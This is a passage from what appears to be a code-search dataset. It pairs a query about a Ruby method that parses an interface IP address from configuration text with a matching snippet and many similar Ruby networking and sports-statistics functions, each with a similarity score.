gross_per_studio(collection)\n new_hash = {}\n counter = 0 \n while counter < collection.length do \n studio_name = collection[counter][:studio]\n ww_gross = collection[counter][:worldwide_gross]\n if !new_hash[studio_name]\n new_hash[studio_name] = ww_gross\n else \n new_hash[studio_name] += ww_gross\n end \n counter += 1 \nend\nreturn new_hash\nend", "def cumulative_gross(array)\n #gave the franchise total of 0\n bond_franchise = 0\n #loop through the array of each movie\n array.each {|movie|\n #get the movie to be an integer and put that as a variable of the gross\n the_gross = movie[:gross].delete('$').split(',').join.to_i\n #the total of the franchise will add the gross of each movie\n #as it loops it will continue adding all the gross together\n bond_franchise = bond_franchise + the_gross\n }\n #this will output the total gross in integer that is converted back into $ with , to read the total $ about better\n puts \"#{bond_franchise.to_s.reverse.scan(/.{1,3}/).join(',').reverse.insert(0,'$')}\"\nend", "def gross(movie_name)\n for m in movies\n if m.title == movie_name\n return m.gross\n end\n end\n return -1\n end", "def total_medals_per_team(olympic_data)\n\n team_medals_hash = {}\n\n olympic_data.each do |data|\n\n if team_medals_hash.key?(data[\"Team\"])\n if [\"Gold\", \"Silver\", \"Bronze\"].include?(data[\"Medal\"]) #SAME TEAM, MEDAL\n team_medals_hash[data[\"Team\"]] += 1\n end\n else\n\n if [\"Gold\", \"Silver\", \"Bronze\"].include?(data[\"Medal\"]) # NEW TEAM, MEDAL\n team_medals_hash[data[\"Team\"]] = 1\n else\n team_medals_hash[data[\"Team\"]] = 0\n\n end\n end\n end\n return team_medals_hash\nend", "def battlers_number\n return @battlers_number.sum\n end", "def count_contestants_by_hometown(data, hometown)\n home_town = 0\n data.each do |season_iteration, stats|\n stats.each do |town|\n if town[\"hometown\"] == hometown\n home_town = home_town + 1\n end\n end\n end\n return home_town\nend", "def lift_total_for_gym\n total = 0\n lifters.each do |lifter|\n total += lifter.lift_total\n end\n total\n end", "def week_1_total\n total = 0\n rostered_players.each do |rostered_player|\n total += rostered_player.player.week_1_score\n end\n return total\n end", "def its_a_tie game\n game.each do |team|\n team_standings = get_team_by_name(team)\n team_standings[:winnings] += 1\n end\nend", "def big_shoe_rebounds\n big_foot = 0\n boards = 0\n\n game_hash.values.each do |roster|\n roster[:players].each do |player|\n if player[:shoe] > big_foot\n big_foot = player[:shoe]\n boards = player[:rebounds]\n end\n end\n end\n return boards\nend", "def total\n wins + losses\n end", "def occupation\n occupation_sum = 0\n team_roles.each do |team_role|\n occupation_sum += team_role.occupancy\n end\n return occupation_sum\n end", "def determine_possible_num_moves(gm, rd, md)\n puts \"Determining possible total moves...\"\n min = [ md[:max_val], rd[:num_regions] * 2 - 1 ].max\n max = gm[:x] * gm[:y]\n poss_ms = []\n for i in min..max do\n if i % rd[:num_regions] == 0 or (i + 1) % rd[:num_regions] == 0\n poss_ms.push(i)\n end\n end\n puts \"poss_ms = \" + poss_ms.to_s\n return poss_ms\nend", "def moneys_total\n moneys_total = 0\n mini_maps.each do |map|\n moneys_total += map.moneys_total\n end\n return moneys_total\n end", "def num_points_scored(player)\n game_hash.each do |location, team_data| #location returns away, team_data returns hash\n # binding.pry\n team_data.each do |attribute, data|\n # binding.pry\n if attribute == :players\n data.each do |player_name, categories|\n # binding.pry\n if player_name == player\n # binding.pry\n return categories[:points]\n end\n end\n end\n end\n end\nend", "def number( gm )\n num = nil\n gm.players.each_with_index{|pl, i| num = i if (pl == self) }\n (num + 1) if num.is_a? Integer\n end", "def num_points_scored(player_name)\npoints_scored = 0\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players\n data.each do |player, stats|\n if player == player_name\n points_scored = stats[:points]\n end\n end\n end\n end\nend\npoints_scored\nend", "def count_losses\n loss_no = 0\n Battle.where(\"movie_loser\" => self.id).each do\n loss_no += 1 \n end\n return loss_no\n end", "def lift_total_for_gym\n total = 0\n self.lifters.each do |lifter|\n total += lifter.lift_total\n end\n total\n end", "def total_medals_per_team(olympic_data)\n counts = olympic_data.group_by{ |x| x[:\"Team\"] }.map{ |x,y| [x,y.count] }\n counts = Hash[counts]\n return counts\nend", "def num_points_scored(player_name)\n\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, values|\n if attribute == :players\n values.each do |person, data|\n if person.to_s == player_name\n return game_hash[location][:players][person][:points]\n end\n end\n end\n end\n end\nend", "def get_gross_for(title,array)\n #loops the array and locates each hash in the array\n array.each {|movie|\n #if the title of the move matches the symbol title in the hash then\n if title == movie[:title]\n #gives the movie gross by deleting the $ sign and removing the , to join it and return the integer only\n puts \"#{movie[:gross].delete('$').split(',').join.to_i}\"\n end\n }\nend", "def count_contestants_by_hometown(data, hometown)\n all_seasons(data).reduce(0) do |sum, contestant|\n if contestant[\"hometown\"] == hometown \n sum + 1 \n else \n sum \n end\n end\nend", "def total_games_by_coach_by_season\n @total_games_by_coach = Hash.new{ |hash, key| hash[key] = 0}\n @by_season_game_team_objects.each do |game_by_season|\n @total_games_by_coach[game_by_season[\"head_coach\"]] += 1\n end\n end", "def combined_lift_total\n clt = 0\n Membership.all.select do |membership_instance|\n if membership_instance.gym == self\n clt += membership_instance.member.lift_total\n end\n end\n clt\n end", "def winning_team\n final_scores = player_collection.reduce(home: 0, away: 0) { |teams_points, next_player|\n case \n when next_player[:location] === :away\n teams_points[:away] += next_player[:points];\n when next_player[:location] === :home\n teams_points[:home] += next_player[:points];\n end\n teams_points; \n }\n winner = final_scores.reduce { |highest_points, team_points| \n highest_points[1] > team_points[1] ? highest_points : team_points; \n }\n game_hash[winner[0]][:team_name]; \nend" ]
[ "0.8029837", "0.79776275", "0.79773915", "0.79361767", "0.79248714", "0.78916717", "0.7838351", "0.77536833", "0.7750221", "0.7714856", "0.7668552", "0.76530826", "0.7606851", "0.760095", "0.7600013", "0.7586569", "0.7579721", "0.75762385", "0.7555412", "0.7525543", "0.7516449", "0.75110054", "0.7505069", "0.748842", "0.74866015", "0.74588627", "0.74551684", "0.74544317", "0.742898", "0.7416663", "0.7403352", "0.7341424", "0.7336108", "0.7328075", "0.7316605", "0.7299599", "0.7243915", "0.7123985", "0.7109089", "0.710362", "0.71000665", "0.70868117", "0.70523226", "0.70331234", "0.7009047", "0.7004253", "0.68787944", "0.6789096", "0.65614223", "0.6450204", "0.6171553", "0.6171553", "0.61675286", "0.6122591", "0.59779245", "0.5974641", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.5974246", "0.59574896", "0.5956863", "0.59447145", "0.59005344", "0.5851946", "0.58206105", "0.5807006", "0.57745665", "0.5749117", "0.5703279", "0.56729436", "0.5598119", "0.5562738", "0.55119056", "0.5501018", "0.54991066", "0.5489661", "0.5487212", "0.5486949", "0.5471254", "0.54664433", "0.545663", "0.5452165", "0.54365665", "0.5427716", "0.54161596", "0.5408359", "0.54080284", "0.5405085", "0.54019743", "0.53970844", "0.5396531" ]
0.76686096
10
parse_address scans the provided configuration block and extracts the interface address, if configured, and returns it. If there is no IP address configured, then this method will return the DEFAULT_ADDRESS. The return value is intended to be merged into the ipaddress resource hash.
def parse_address(config) mdata = /(?<=^\s{3}ip\saddress\s)(.+)$/.match(config) { address: mdata.nil? ? DEFAULT_ADDRESS : mdata[1] } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ipaddress\n config[\"ipaddress\"]\n end", "def ip\n if ifconfig =~ /inet addr:([0-9.]+)/\n $1\n else\n \"0.0.0.0\"\n end\n end", "def address\n return @mac_address if defined? @mac_address and @mac_address\n re = %r/[^:\\-](?:[0-9A-F][0-9A-F][:\\-]){5}[0-9A-F][0-9A-F][^:\\-]/io\n cmds = '/sbin/ifconfig', '/bin/ifconfig', 'ifconfig', 'ipconfig /all', 'cat /sys/class/net/*/address'\n\n null = test(?e, '/dev/null') ? '/dev/null' : 'NUL'\n\n output = nil\n cmds.each do |cmd|\n begin\n r, w = IO.pipe\n ::Process.waitpid(spawn(cmd, :out => w))\n w.close\n stdout = r.read\n next unless stdout and stdout.size > 0\n output = stdout and break\n rescue\n # go to next command!\n end\n end\n raise \"all of #{ cmds.join ' ' } failed\" unless output\n\n @mac_address = parse(output)\n end", "def parse_ip\n @request[FHOST] || BLANK_STR\n end", "def ipaddress\n resolve.nil? || resolve.empty? ? nil : resolve\n end", "def get_ip_address(type)\n network[:interfaces].each do |iface, info|\n next unless info['type'] == 'eth'\n info[:addresses].each do |addr, detail|\n next unless detail['family'] == 'inet'\n case type\n when :public_ip\n return addr if !is_private?(addr)\n when :private_ip\n return addr if is_private?(addr)\n end\n end\n end\n return nil\n end", "def parse_ip_configuration(ip_configuration)\n config = {\n 'name' => ip_configuration.name,\n 'primary' => ip_configuration.primary,\n 'private_ipaddress' => ip_configuration.private_ipaddress,\n 'public_ipaddress' => {\n 'attached' => !ip_configuration.public_ipaddress.nil?,\n },\n }\n\n # if there is a public IP address attached get its details\n if config['public_ipaddress']['attached']\n\n # Get the name of the resource group and the name of the NIC\n # This is required as the card might be in a different resource group\n public_ip_raw = ip_configuration.public_ipaddress.id.split(%r{/})\n public_ip_resource_group_name = public_ip_raw[4]\n public_ip_name = public_ip_raw.last\n\n # Interrogate Azure for the NIC details\n public_ip = helpers.network_mgmt.client.public_ipaddresses.get(public_ip_resource_group_name, public_ip_name)\n\n # update the config with the information about the public IP if public dns settings are available\n if !public_ip.dns_settings.nil?\n config['public_ipaddress']['domain_name_label'] = public_ip.dns_settings.domain_name_label\n config['public_ipaddress']['dns_fqdn'] = public_ip.dns_settings.fqdn\n else\n config['public_ipaddress']['domain_name_label'] = nil\n config['public_ipaddress']['dns_fqdn'] = nil\n end\n end\n\n # return object\n config\n end", "def parse_addr(string)\n # Split host and port number from string.\n case string\n when /\\A\\[(?<address> .* )\\]:(?<port> \\d+ )\\z/x # string like \"[::1]:80\"\n address, port = $~[:address], $~[:port]\n when /\\A(?<address> [^:]+ ):(?<port> \\d+ )\\z/x # string like \"127.0.0.1:80\"\n address, port = $~[:address], $~[:port]\n else # string with no port number\n address, port = string, nil\n end\n\n # Pass address, port to Addrinfo.getaddrinfo. It will raise SocketError if address or port is not valid.\n # IPAddr currently cannot handle ::1 notation, use Addrinfo instead\n ary = Addrinfo.getaddrinfo(address, port)\n\n # An IP address is exactly one address.\n ary.size == 1 or raise SocketError, \"expected 1 address, found #{ary.size}\"\n ary.first\nend", "def local_ip_address\n conf['base_address'] ||\n %x{ip addr show #{conf['base_interface'] || 'br0'} | grep inet}.split(' ')[1].to_s.strip.split('/').first.to_s\nend", "def ipaddr(iface=nil)\n @ipaddr[iface || default_iface]\n end", "def get_ip_address\n items = `ifconfig | grep \"inet addr\"`.split\n addresses = []\n items.each do |item|\n addresses << item if item =~ /addr:/\n end\n ip = \"\"\n addresses.each do |address|\n ip = address.split(':')[1]\n if ip != '127.0.0.1'\n break\n end\n end\n ip\nend", "def to_ipaddr\n unless ip_addr?\n lookup = `host #{to_s} | grep address`.split(/\\s+/)\n return to_s unless lookup.length == 4\n lookup[3]\n else \n to_s\n end\n end", "def ip\n @ip ||= select { |type,value| type == :ip }.map do |(type,value)|\n IPAddr.new(value)\n end\n end", "def use_default_address\n return unless self.address\n self.address = client.addresses.first\n end", "def address_for(network); end", "def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end", "def extract_address(name, options, args)\n address = extract_option(name, options, args)\n\n raise ::ArgumentError, \"The address provided for `#{name}` is not valid: #{address}\" unless Runtime::Address.valid?(address)\n end", "def fetch_primary_ip_address\n capture(<<-GETADDR, :shell => \"bash\").chomp\n _if=\"$(netstat -nr | grep ^0\\.0\\.0\\.0 | awk '{print $8}')\";\n _ip=\"$(/sbin/ifconfig $_if | \\\n grep '^[[:space:]]*inet ' | awk '{print $2}' | \\\n awk -F':' '{print $2}')\";\n\n if [ -z \"$_ip\" -o \"$_ip\" == \"\" ] ; then\n echo \"\";\n return 10;\n else\n echo $_ip;\n fi\n GETADDR\nend", "def extract_ip(addrinfo)\n addrinfo[2]\n end", "def address(options=nil)\n delimiter = '-'\n\n octets = []\n octets.concat(unpack_oui)\n octets.concat(unpack_ei)\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n\n if (options.has_key?(:Delimiter))\n delimiter = options[:Delimiter]\n delimiter = '-' if (delimiter != '-' && delimiter != ':' && delimiter != '.' )\n end\n end\n\n if (delimiter == '-' || delimiter == ':')\n address = octets.join(delimiter)\n elsif (delimiter == '.')\n toggle = 0\n octets.each do |x|\n if (!address)\n address = x\n toggle = 1\n elsif (toggle == 0)\n address = address << '.' << x\n toggle = 1\n else\n address = address << x\n toggle = 0\n end\n end \n\n end\n\n return(address)\n end", "def find_for_ip(string)\n begin\n ip = IPAddr.new(string)\n type = ip.ipv4? ? TYPE_IPV4 : TYPE_IPV6\n _definitions(type).each do |_, definition|\n return factory(type, *definition) if IPAddr.new(definition.first).include?(ip)\n end\n rescue ArgumentError\n # continue\n nil\n end\n raise AllocationUnknown, \"IP Allocation for `#{string}' unknown\"\n end", "def getIP(interface)\n cmd = `ip addr show #{interface}`\n ip = cmd.match(/inet ((\\d{1,3}\\.){3}\\d{1,3})\\/\\d{1,2}/).captures\n @log.debug \"IP of interface '#{interface}' is: #{ip.first}\"\n return ip.first\n end", "def ipaddress\n @attributes.fetch('ipaddress', nil)\n end", "def address\n @address ||= best_guess_address(name)\n end", "def get_ip_address\n IO.popen(\"ifconfig\") do |io|\n while line = io.gets\n return $1 if (line =~ /inet addr:([\\d\\.]+)/ and $1 != '127.0.0.1')\n end\n end\n return nil\nend", "def ip\n container.json['NetworkSettings']['IPAddress'] || 'N/A'\n rescue NoMethodError\n 'N/A'\n end", "def address\n unless addresses.empty?\n addresses.first\n else\n nil\n end\n end", "def get_common_address\n service = EVSS::PCIUAddress::Service.new(user)\n response = service.get_address\n case response.address\n when EVSS::PCIUAddress::DomesticAddress\n prefill_domestic_address(response.address)\n when EVSS::PCIUAddress::InternationalAddress\n prefill_international_address(response.address)\n when EVSS::PCIUAddress::MilitaryAddress\n prefill_military_address(response.address)\n else\n {}\n end\n rescue\n {}\n end", "def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end", "def ip_address\n Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address\n end", "def hwaddr\n begin\n exists? && IO.read(\"/sys/class/net/#{name}/address\").strip\n rescue Errno::ENOENT\n end.tap do |address|\n raise Errors::UnknownInterface, \"Interface #{name} not found on this machine\" unless address\n end\n end", "def IPAddress(str)\n IPAddress::parse str\nend", "def IPAddress(str)\n IPAddress::parse str\nend", "def ipaddress\n @network_payload['IP']\n end", "def ip_address_with_mask\n ip_address.try(:to_cidr_s)\n end", "def parse_remote_ip\n @config ||= parse_configuration(\".git/config\")\n @remote_ip ||= $2 if @config[\"remote\"][\"webbynode\"][\"url\"] =~ /^(\\w+)@(.+):(.+)$/\n end", "def get_recommended_value\n get_item( 'cli::network::ipaddress' ).value\n end", "def ip_by_interface(int)\n return `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n end", "def addr; @configuration['addr']; end", "def address\n return poi.address unless poi.nil?\n return place.address unless place.nil?\n addr = get_address\n return addr.blank? ? raw_address : addr\n end", "def ip_by_interface(int)\n ip = `ifconfig #{int} | awk '/inet addr/ {split ($2,A,\":\"); print A[2]}'`.chomp\n return ip\n end", "def get_ipaddr(dns_query, parsed_dns, length)\n address = \"\"\n case length\n when IPV4_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"CCCC\").join('.')\n when IPV6_ADDR_LENGTH\n address = dns_query[parsed_dns[:index], length].unpack(\"nnnnnnnn\").map{|v| sprintf(\"%x\", v)}.join(':')\n end\n parsed_dns[:index] += length\n return address\n end", "def get_ipmi_address(channel)\n # Extra space differentiates from 'IP Address Source'\n address = get_ipmi_field(channel, 'IP Address ')\n address or raise Puppet::Error.new(\"Unable to get IPMI IP address\")\n end", "def ip_address\n @ip_address ||= nil\n end", "def abs_adr(ip)\n Verneuil::Address.new(ip, self)\n end", "def load_hash\n ifconfig = {}\n aliases = []\n addrs = []\n\n # Initially, the IP and IP6 has not been set. This helps track whether\n # we are creating aliases or the first of the addresses.\n ip6set = false\n ipset = false\n\n process_addresses(@addresses) {|addr|\n if addr =~ /DHCP/\n addrs << addr\n elsif addr =~ /inet6 /\n if ip6set\n aliases << addr\n else\n addrs << addr\n ip6set = true\n end\n elsif addr =~ /inet /\n if ipset\n aliases << addr\n else\n addrs << addr\n ipset = true\n end\n else\n raise ArgumentError(\"unhandled address family\")\n end\n }\n\n # append the options to the first address\n opts = options_string()\n\n if addrs.size > 0\n ifconfig[:addrs] = addrs\n\n if opts and opts.size > 0\n ifconfig[:addrs][0] = [ifconfig[:addrs][0],opts].join(' ')\n end\n else\n if opts and opts.size > 0\n ifconfig[:addrs] = options_string()\n end\n end\n\n if aliases.size > 0\n ifconfig[:aliases] = aliases\n end\n\n {@name.to_sym => ifconfig}\n end", "def ip_addresses_for(institution)\n varname = \"@ip_addresses_for_#{institution.code.to_s.downcase}\"\n ip_addresses_for_institution = self.instance_variable_get(varname)\n if ip_addresses_for_institution.nil?\n self.instance_variable_set(varname, reload_ip_addresses_for(institution))\n else\n ip_addresses_for_institution\n end\n end", "def get_ip_address(name, eth)\n if ( eth_iface = network[:interfaces][eth] )\n eth_iface[:addresses].each do |key, info|\n linode[name] = key if info[\"family\"] == \"inet\"\n end\n end\n end", "def current_ip(inter)\n net_info = `ifconfig`\n section_index = net_info.index(inter)\n line_index = net_info.index('inet', section_index)\n ip_address = net_info[line_index..-1].match(/\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/)[0]\n return ip_address\nend", "def ip6addr(iface=nil)\n @ip6addr[iface || default_iface]\n end", "def read_machine_ip(machine)\n machine.config.vm.networks.each do |type, options|\n if type == :private_network && options[:ip].is_a?(String)\n return options[:ip]\n end\n end\n\n nil\n end", "def resolve!\n Resolv.each_address(host) do |address|\n return @ip = address if address =~ pattern\n end\n end", "def get_ip_address(machine)\n ip = nil\n unless @rs.ignore_private_ip\n machine.config.vm.networks.each do |network|\n key, options = network[0], network[1]\n ip = options[:ip] if key == :private_network\n next if ip\n end\n end\n\n ip || machine.ssh_info[:host]\n end", "def default_address\n rpc.getaccountaddress name\n end", "def ip\n if (ip = @host.at('tag[name=host-ip]'))\n ip.inner_text\n end\n end", "def private_ip_address\n private_ip_addresses.first\n end", "def getNetwork(interface)\n net = Nokogiri::XML(\"#{interface}\").xpath(\"//ip\")\n if !net.empty?\n ip = net.attr('address').value\n netmask = net.attr('netmask').value\n end\n return ip, netmask\n end", "def ip_address(env)\n ip_address_record(env)[:address]\n end", "def get_ip_address(name, eth)\n network[:interfaces][eth][:addresses].each do |key, info|\n rackspace[name] = key if info['family'] == 'inet'\n end\nend", "def eip\n @eip ||= EC2.find_eip(interface.id)\n end", "def address(public_ip)\n addresses(public_ip)[0]\n end", "def parse(data)\n super data\n @ip_address = data[0..3].to_ip\n @subnet_mask = data[4..7].to_ip\n @standard_gateway = data[8..11].to_ip\n end", "def address\n @mac_address ||= addresses.first\n end", "def parse_helper_addresses(config)\n helpers = config.scan(/(?<=\\s{3}ip\\shelper-address\\s).+$/)\n { helper_addresses: helpers }\n end", "def ip_address_record(env)\n data_type = env[:machine].provider_config.private_only ? \"primaryBackendNetworkComponent\" : \"primaryNetworkComponent\"\n data_type = \"primaryBackendNetworkComponent\" if env[:machine].provider_config.force_private_ip\n mask = \"#{data_type}.primaryIpAddressRecord.id,#{data_type}.primaryIpAddressRecord.ipAddress\"\n record = sl_warden { env[:sl_machine].object_mask(\"mask[#{mask}]\").getObject }\n return {\n :address => record[data_type][\"primaryIpAddressRecord\"][\"ipAddress\"],\n :id => record[data_type][\"primaryIpAddressRecord\"][\"id\"]\n }\n end", "def address\n if !self.config\n return \"\"\n end\n\n if self.config['serverport']\n \"#{self.config['serveraddr']}:#{self.config['serverport']}\"\n else\n self.config['serveraddr']\n end\n end", "def get_ip_address(name, eth)\n if eth_iface = network[:interfaces][eth]\n eth_iface[:addresses].each do |key, info|\n jpc2[name] = key if info['family'] == 'inet'\n end\n end\nend", "def get_tester_ip_addr\n if File.exists?(\"/var/spool/ec2/meta-data.rb\")\n require \"/var/spool/ec2/meta-data-cache\" \n else\n ENV['EC2_PUBLIC_HOSTNAME'] = \"127.0.0.1\"\n end\n my_ip_input = \"text:\" \n my_ip_input += ENV['EC2_PUBLIC_HOSTNAME']\n my_ip_input\n end", "def get_tester_ip_addr\n if File.exists?(\"/var/spool/ec2/meta-data.rb\")\n require \"/var/spool/ec2/meta-data-cache\" \n else\n ENV['EC2_PUBLIC_HOSTNAME'] = \"127.0.0.1\"\n end\n my_ip_input = \"text:\" \n my_ip_input += ENV['EC2_PUBLIC_HOSTNAME']\n my_ip_input\n end", "def get_tester_ip_addr\n if File.exists?(\"/var/spool/ec2/meta-data.rb\")\n require \"/var/spool/ec2/meta-data-cache\" \n else\n ENV['EC2_PUBLIC_HOSTNAME'] = \"127.0.0.1\"\n end\n my_ip_input = \"text:\" \n my_ip_input += ENV['EC2_PUBLIC_HOSTNAME']\n my_ip_input\n end", "def get_ip_address\n rpc_get_fact_direct('host_ip')\n end", "def ip(options=nil)\n known_args = [:Objectify, :Short]\n objectify = false\n short = false\n\n if (options)\n if (!options.kind_of?(Hash))\n raise ArgumentError, \"Expected Hash, but \" +\n \"#{options.class} provided.\"\n end\n NetAddr.validate_args(options.keys,known_args)\n\n if( options.has_key?(:Short) && options[:Short] == true )\n short = true\n end\n\n if( options.has_key?(:Objectify) && options[:Objectify] == true )\n objectify = true\n end\n end\n\n\n if (!objectify)\n ip = NetAddr.ip_int_to_str(@ip, @version)\n ip = NetAddr.shorten(ip) if (short && @version == 6)\n else\n ip = NetAddr.cidr_build(@version,@ip)\n end\n\n return(ip)\n end", "def ip_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n unless mac_address.nil?\n lease=LeasesFile.new(\"/var/db/vmware/vmnet-dhcpd-vmnet8.leases\").find_lease_by_mac(mac_address)\n if lease.nil?\n return nil\n else\n return lease.ip\n end\n else\n # No mac address was found for this machine so we can't calculate the ip-address\n return nil\n end\n end", "def parse_ip(ip)\n\t\tif (ip.include?(\":\"))\n\t\t\treturn IPv6.parse(ip)\n\t\tend\n\t\treturn IPv4.parse(ip)\n\tend", "def default_gw_ipaddr\n ip = case `/bin/uname -s`.rstrip\n when 'Linux'\n `/sbin/ip route get 8.8.8.8`.split(\"\\n\")[0].split.last\n when 'SunOS'\n `/sbin/ifconfig $(/usr/sbin/route -n get 1.1.1.1 | awk '$1 == \"interface:\" {print $2}') | awk '$1 == \"inet\" { print $2 }'`\n else\n raise \"Unsupported platform to detect gateway IP address: #{`/bin/uname`}\"\n end\n ip = ip.rstrip\n raise \"Failed to run command lines or empty result\" if ip == '' || $?.exitstatus != 0\n ip\n end", "def hostip\n static_network_config[\"ipAddress\"]\n end", "def device_ipaddress=(_arg0); end", "def device_ipaddress=(_arg0); end", "def set_address(name, opts = {})\n cmds = command_builder('ip address', opts)\n configure_interface(name, cmds)\n end", "def getAddressInfo(path)\n Ipvalidation.validate(path)\n call(path)\n end", "def has_address(interface)\n ip = Facter::Util::IP.get_interface_value(interface, 'ipaddress')\n if ip.nil?\n false\n else\n true\n end\nend", "def overlay_ip\n self.overlay_cidr.split('/')[0] if self.overlay_cidr\n end", "def ip_address\n # Does not work for now as the vmx path is not escape correctly by fission 0.4.0\n #return raw.network_info.data.first['ip_address']\n raise ::Fission::Error,\"VM #{name} does not exist\" unless self.exists?\n \n # Use alternate method to retrieve the IP address using vmrun readVariable\n \n ip_address = shell_exec(\"vmrun readVariable \\\"#{vmx_file_path}\\\" guestVar ip\", { :mute => true})\n return ip_address.stdout.strip\n \n # unless mac_address.nil?\n # lease = Fission::Lease.find_by_mac_address(mac_address).data\n # return lease.ip_address unless lease.nil?\n # return nil\n # else\n # # No mac address was found for this machine so we can't calculate the ip-address\n # return nil\n # end\n end", "def ipaddr?; end", "def arpa()\n\n base = self.ip()\n netmask = self.bits()\n\n if (@version == 4)\n net = base.split('.')\n\n if (netmask)\n while (netmask < 32)\n net.pop\n netmask = netmask + 8\n end\n end\n\n arpa = net.reverse.join('.')\n arpa << \".in-addr.arpa.\"\n\n elsif (@version == 6)\n fields = base.split(':')\n net = []\n fields.each do |field|\n (field.split(\"\")).each do |x|\n net.push(x)\n end\n end\n\n if (netmask)\n while (netmask < 128)\n net.pop\n netmask = netmask + 4\n end\n end\n\n arpa = net.reverse.join('.')\n arpa << \".ip6.arpa.\"\n\n end\n\n return(arpa)\n end", "def device_ipaddress; end", "def device_ipaddress; end", "def remote_address\n socket_address\n rescue Exception => e\n log_error('Could not infer remote address', e)\n nil\n end", "def detect_reachable_ip\n if RUBY_VERSION >= \"1.9.2\"\n require 'socket'\n possible_ips = Socket.ip_address_list.reject { |ip| !ip.ipv4? || ip.ipv4_loopback? }\n return possible_ips.first.ip_address unless possible_ips.empty?\n end\n if detect_os[:platform] == \"windows\"\n output = `ipconfig`\n ip_regex = /IP(?:v4)?.*?([0-9]+(?:\\.[0-9]+){3})/i\n gateway_regex = /Gateway[^0-9]*([0-9]+(?:\\.[0-9]+){3})?/i\n ip_matches = output.split(/\\n/).select { |s| s =~ ip_regex }\n gateway_matches = output.split(/\\n/).select { |s| s =~ gateway_regex }\n possible_ips = ip_matches.zip(gateway_matches)\n possible_ips.map! do |ip,gateway|\n [ip.match(ip_regex)[1], gateway.match(gateway_regex)[1]]\n end\n possible_ips.reject! { |ip,gateway| ip == \"127.0.0.1\" || gateway.nil? }\n return possible_ips[0][0]\n elsif ENV['SSH_CONNECTION']\n return ENV['SSH_CONNECTION'].split(/\\s+/)[-2]\n else\n if Pathname.which(\"ifconfig\")\n ip_output = `ifconfig -a 2> /dev/null`.chomp\n elsif File.executable?(\"/sbin/ifconfig\")\n ip_output = `/sbin/ifconfig -a 2> /dev/null`.chomp\n else\n ip_output = `ip addr 2> /dev/null`.chomp\n end\n possible_ips = ip_output.scan(/inet (?:addr:)?([0-9\\.]+)/).flatten\n possible_ips.reject! { |ip| ip == \"127.0.0.1\" }\n return possible_ips.first\n end\n end", "def recommended_value\n begin\n address = @config_items.fetch('ipaddress').value\n nm = @config_items.fetch('netmask').value\n rescue IndexError => e\n say_yellow(\"WARNING: #{e}\") if !@silent\n return nil\n end\n\n # snarfed from:\n # http://stackoverflow.com/questions/1825928/netmask-to-cidr-in-ruby\n subnet = IPAddr.new( nm ).to_i.to_s( 2 ).count('1')\n\n mucky_cidr = \"#{address}/#{subnet}\"\n cidr = \"#{ IPAddr.new( mucky_cidr ).to_range.first.to_s}/#{subnet}\"\n\n [ cidr ]\n end", "def ip_v4_address; end", "def get_internal_ip_address\r\n sock = UDPSocket.new\r\n sock.connect('1.0.0.1', 1) #@igd_location.split('//').last.split('/').first.split(':').first\r\n return sock.addr.last\r\n rescue Exception\r\n return \"127.0.0.1\"\r\n end", "def get_external_ip_address\r\n return debug('No WAN Service') unless @wan_service\r\n hash = send_action(@wan_service, 'GetExternalIPAddress', {})\r\n return hash if(hash[:is_error])\r\n return nil unless(hash[:has_xml])\r\n return hash[:xml].get_text('NewExternalIPAddress')\r\n end", "def associate_address( options = {} )\n options = { :instance_id => '', :public_ip => '' }.merge(options)\n raise ArgumentError, \"No ':instance_id' provided\" if options[:instance_id].nil? || options[:instance_id].empty?\n raise ArgumentError, \"No ':public_ip' provided\" if options[:public_ip].nil? || options[:public_ip].empty?\n params = {\n \"InstanceId\" => options[:instance_id],\n \"PublicIp\" => options[:public_ip]\n }\n return response_generator(:action => \"AssociateAddress\", :params => params)\n end", "def parse(string)\n string.scan(ADDRESS_REGEXP).flatten\n end", "def get_ip(node)\n provisioning.ipaddress(node)\n end", "def ip\n @ip ||= @node.search('IP/listEntry').map(&:inner_text)\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def typecast_value_ipaddr(value)\n case value\n when IPAddr\n value\n when String\n IPAddr.new(value)\n else\n raise Sequel::InvalidValue, \"invalid value for inet/cidr: #{value.inspect}\"\n end\n end", "def hostname_to_ip hostname\n begin \n ip = Resolv.getaddress(config[:host])\n rescue Resolv::ResolvError => resolv_err\n raise Exception.new(\"Resolver error: #{resolv_err}\")\n end\n return ip\n end" ]
